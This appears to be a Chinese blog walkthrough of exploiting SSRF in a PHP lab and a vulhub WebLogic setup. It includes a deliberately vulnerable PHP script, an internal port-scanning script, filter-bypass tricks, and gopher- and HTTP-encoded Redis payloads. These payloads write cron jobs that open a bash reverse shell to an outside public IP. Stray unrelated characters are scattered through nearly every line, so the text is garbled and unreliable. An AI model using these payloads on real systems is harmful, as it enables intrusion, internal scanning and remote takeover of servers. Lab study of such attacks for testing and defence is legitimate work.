前言
之前自己搭建ssrf漏洞的時(shí)候凌盯,只是簡(jiǎn)單復(fù)現(xiàn)「斗悖現(xiàn)在突然發(fā)現(xiàn)可以繼續(xù)深入一下,算是對(duì)之前的補(bǔ)充吧驰怎。
回顧
參考 SSRF(服務(wù)端請(qǐng)求偽造)漏洞
使用phpstudy環(huán)境
ssrf.php直接訪問(wèn)即可阐滩,源碼為:
<?php
$url=@$_GET['url'];
$ch=curl_init();//初始化會(huì)話
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res=curl_exec($ch);//執(zhí)行會(huì)話
curl_close($ch);
echo $res;//有回顯
//無(wú)回顯
if($res){
echo "True";
}else{
echo "False";
}
?>
漏洞存在
有回顯
即echo $res;
對(duì)url參數(shù)進(jìn)行修改,向百度瀏覽器發(fā)送請(qǐng)求县忌〉嗬疲可證實(shí)為SSRF漏洞。
ssrf.php?url=http://www.baidu.com
無(wú)回顯
即不輸出芹枷。if($res){ echo "True"; }else{ echo "False"; }
因?yàn)闆](méi)有回顯無(wú)法直觀看到頁(yè)面的變化衅疙,只返回True或False判斷,采用公網(wǎng)服務(wù)器端口監(jiān)聽的方式判斷SSRF漏洞是否存在鸳慈。
公網(wǎng)服務(wù)器nc進(jìn)行監(jiān)聽
nc -lvp 8080
靶機(jī)發(fā)送請(qǐng)求
ssrf.php?url=http://47.94.xx.xx:8080
接收到數(shù)據(jù)包饱溢。可證實(shí)存在SSRF漏洞
利用方式
SSRF漏洞可以判斷內(nèi)網(wǎng)主機(jī)存活以及端口開放情況走芋,可以讀取服務(wù)器文件绩郎,攻擊內(nèi)網(wǎng)的web應(yīng)用。
服務(wù)探測(cè)
有回顯
ssrf.php?url=http://127.0.0.1:8080
可以借助burp的Intruder嘗試探測(cè)翁逞。
如果對(duì)資產(chǎn)了解不足肋杖,可以先對(duì)C段進(jìn)行探測(cè)以及一些端口22,80挖函,8080状植,7001,6379等
但是靈活度不夠怨喘,可以編寫腳本進(jìn)行探測(cè)津畸。
#coding='utf-8'
import requests
scheme = 'http'
port_list = [22,80,3306,3389,6379,8080,8088]
def run():
for i in range(130,136):
for port in port_list:
ip='192.168.197.'+str(i)
payload = '{scheme}://{ip}:{port}'.format(
scheme=scheme,
ip=ip,
port=port
)
url= "http://192.168.197.216/ssrf.php?url={payload}".format(payload=payload)
print url
try:
r = requests.get(url,timeout=5,verify=False)
print r.text
except Exception,e:
pass
if __name__ == '__main__':
run()
github上也有現(xiàn)成工具。
https://github.com/swisskyrepo/SSRFmap
https://github.com/bcoles/ssrf_proxy
https://github.com/tarunkant/Gopherus
無(wú)回顯
即不輸出必怜。if($res){ echo "True"; }else{ echo "False"; }
對(duì)于這種Bool型的SSRF漏洞肉拓,只是簡(jiǎn)單返回True或False,沒(méi)有任何響應(yīng)信息梳庆。即使使用payload也無(wú)法驗(yàn)證是否利用成功暖途,所以利用起來(lái)很費(fèi)勁。
文件讀取
有回顯
利用file協(xié)議可進(jìn)行任意文件讀取膏执。
利用dict協(xié)議可以操作redis服務(wù)驻售。
無(wú)回顯
無(wú)法輸出內(nèi)容,該方式作廢更米。
gopher協(xié)議
能夠利用的協(xié)議有很多芋浮,如ftp協(xié)議、http協(xié)議、dict協(xié)議纸巷、file協(xié)議等等
這里重點(diǎn)看一下gopher協(xié)議镇草。
gopher協(xié)議,分布型的文件搜集獲取網(wǎng)絡(luò)協(xié)議瘤旨,支持發(fā)出GET梯啤、POST請(qǐng)求〈嬲埽可以先截獲get請(qǐng)求包和post請(qǐng)求包春感,然后再構(gòu)造成符合gopher協(xié)議的請(qǐng)求逸月。gopher協(xié)議在ssrf利用中很強(qiáng)大。
有回顯
服務(wù)器nc進(jìn)行監(jiān)聽
nc -lvp 2333
靶機(jī)發(fā)送請(qǐng)求
ssrf.php?url=gopher://172.16.111.98:2333/_hello
SSRF漏洞在真實(shí)環(huán)境常常去攻擊redis、FastCGI等服務(wù)晃洒。
攻擊redis
使用gopher協(xié)議發(fā)送數(shù)據(jù)包與常見post數(shù)據(jù)包不太一樣绪穆。gopher發(fā)送的數(shù)據(jù)包需為十六進(jìn)制林说。我們可以使用一些抓包工具將請(qǐng)求的數(shù)據(jù)抓取下來(lái)恕出,然后不斷拷貝,操作中非常容易出錯(cuò)嵌施。所以找到負(fù)責(zé)轉(zhuǎn)換gopher的payload的工具饲化。
https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream
下載到kali上,make編譯即可生成sniffer工具吗伤。并在本地kali上搭建redis服務(wù)吃靠。
輸入info命令查看redis服務(wù),并開啟sniffer捕捉到的命令即為payload足淆。
gopher協(xié)議格式為:gopher:/ip:port/_ + payload
gopher://192.168.197.134:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a
有回顯
將該payload拷貝到burp數(shù)據(jù)包中巢块,響應(yīng)500錯(cuò)誤。
使用curl進(jìn)行發(fā)送巧号,請(qǐng)求成功族奢。
curl 'gopher://192.168.197.134:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
證明實(shí)際是可以發(fā)送成功的。
下面進(jìn)一步攻擊redis服務(wù)裂逐。
關(guān)于攻擊redis服務(wù)參考我之前的一篇文章 redis漏洞利用
這里依然用簡(jiǎn)單快捷的shell反彈
config set dir /var/spool/cron/
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/47.94.80.xxx/8080 0>&1\n\n"
config set dbfilename root
save
將反彈shell的命令生成payload進(jìn)行發(fā)送。sniff捕捉payload泣栈。
payload為:
%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%35%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%78%78%78%0d%0a%24%36%31%0d%0a%0a%0a%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%3e%26%2f%64%65%76%2f%74%63%70%2f%34%37%2e%39%34%2e%38%30%2e%31%32%39%2f%38%30%38%30%20%30%3e%26%31%0a%0a%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
然后使用gopher協(xié)議進(jìn)行構(gòu)造卜高,并進(jìn)行url編碼。雖然服務(wù)器返回500南片,但可以成功創(chuàng)建任務(wù)計(jì)劃執(zhí)行掺涛。
shell隨之接收
無(wú)回顯
無(wú)回顯的利用方式一樣,服務(wù)器響應(yīng)也為500疼进。
繞過(guò)IP限制
1.利用@符號(hào)
ssrf.php?url=http://www.baidu.com@127.0.0.1:80
和訪問(wèn)127.0.0.1效果一樣
2.利用短地址
使用在線短鏈生成器
https://url.cn/5fyRNDC
3.利用特殊域名
http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
http://mysite.10.0.0.1.xip.io
http://foo.bar.10.0.0.1.xip.io
4.利用進(jìn)制轉(zhuǎn)換
可以是十六進(jìn)制薪缆,八進(jìn)制等。
例如192.168.197.134
首先把這四段數(shù)字給分別轉(zhuǎn)成16進(jìn)制伞广,結(jié)果:c0 a8 c5 86
然后把 c0a8c586 這十六進(jìn)制一起轉(zhuǎn)換成8進(jìn)制30052142606
記得訪問(wèn)的時(shí)候加0表示使用八進(jìn)制(可以是一個(gè)0也可以是多個(gè)0)十六進(jìn)制加0x
weblogic SSRF漏洞復(fù)現(xiàn)
使用vluhab進(jìn)行復(fù)現(xiàn)該漏洞拣帽。
docker-compose build
docker-compose up -d
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp頁(yè)面
burp抓取數(shù)據(jù)包疼电, operator參數(shù)存在SSRF漏洞
當(dāng)訪問(wèn)不存在的端口,返回could not connect over HTTP to server
當(dāng)訪問(wèn)存在的端口時(shí)减拭,顯示error code蔽豺。
當(dāng)訪問(wèn)的非http協(xié)議,則會(huì)返回did not have a valid SOAP content-type
但是當(dāng)我借助docker的weblogic ssrf漏洞去探測(cè)我手動(dòng)搭建的redis服務(wù)時(shí)拧粪,出現(xiàn)了問(wèn)題修陡。
響應(yīng)Response contained no data
,未找到解決辦法可霎。
去探測(cè)docker的redis服務(wù)時(shí)魄鸦,響應(yīng)正常
利用docker的環(huán)境攻擊redis服務(wù)反彈shell。
向redis發(fā)送命令癣朗,將shell腳本寫進(jìn)計(jì)劃任務(wù)拾因。
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/47.94.xx.xxx/8080 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
將該命令通過(guò)get方式進(jìn)行發(fā)送,需要進(jìn)行url編碼斯棒。
注意:換行符是"\r\n"盾致,也就是"%0D%0A"
http://172.18.0.2:6379/%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F47.94.xx.xxx%2F8080%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Aaaa
注意這里使用的是http協(xié)議。因?yàn)閖ava不支持除了http荣暮、https協(xié)議的其他協(xié)議庭惜。
即可反彈shell。
在自己手動(dòng)搭建的weblogic和redis環(huán)境中穗酥,漏洞無(wú)法結(jié)合利用护赊。
原因未知,復(fù)現(xiàn)出來(lái)的還請(qǐng)大佬告知砾跃。
參考資料
了解SSRF,這一篇就足夠了
SSRF漏洞的利用與學(xué)習(xí)
SSRF in PHP
https://joychou.org/web/phpssrf.html
SSRF繞過(guò)方法總結(jié)
SSRF的一些利用姿勢(shì)